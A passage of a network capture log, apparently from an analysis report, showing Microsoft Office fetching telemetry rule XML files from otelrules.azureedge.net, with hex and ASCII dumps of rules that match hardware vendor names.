/> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49800	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:52 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:52 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ec40f21c-901e-0067-494d-22b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065052Z-16849878b787sbpl0sv29sm89s00000007dg0000000096m1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:52 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49801	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:52 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:52 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: c288f504-201e-0000-75f2-24a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065052Z-r197bdfb6b46gt25anfa5gg2fw00000002yg000000000mdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:52 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49803	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:52 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2ab53e8b-001e-0066-7ef2-24561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065053Z-r197bdfb6b4kkm8440c459r6k800000001bg00000000gt4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49804	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:52 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:53 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:53 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 5074b8ce-701e-005c-627a-25bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065053Z-16849878b78dkr6tqerbnpg1zc00000007a000000000cmqv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:53 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49802	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:52 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:53 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: ab91094f-501e-008f-72f7-219054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065052Z-16849878b78q4pnrt955f8nkx8000000077g000000007w0k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49805	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:52 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: b38717f8-301e-0020-78f3-246299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065053Z-15b8d89586fnsf5zm1ryrxu0bc00000002xg000000002pqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49806	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:53 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:53 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b11d926e-c01e-00a2-50f4-242327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065053Z-r197bdfb6b429k2s6br3k49qn400000004h00000000090y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:53 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49808	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:53 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:53 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: ff743265-301e-000c-1ff2-24323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065053Z-r197bdfb6b4t7wszdvrfk02ah400000008yg000000002up4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:53 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49809	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:53 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:53 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 1290ce53-d01e-002b-7905-2225fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065053Z-16849878b784cpcc2dr9ch74ng00000007d000000000av56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:53 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49807	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:53 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:53 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 33373380-a01e-003d-4cf5-2498d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065053Z-15b8d89586f2hk28h0h6zye26c00000001400000000070eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:53 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49810	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:53 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:54 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 26284338-e01e-0052-664d-22d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065053Z-16849878b78q4pnrt955f8nkx8000000074000000000hm02 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49811	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:54 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:54 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 999b7e79-701e-001e-6bf4-24f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065054Z-r197bdfb6b49q495mwyebb3r6s0000000ab0000000009ed8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
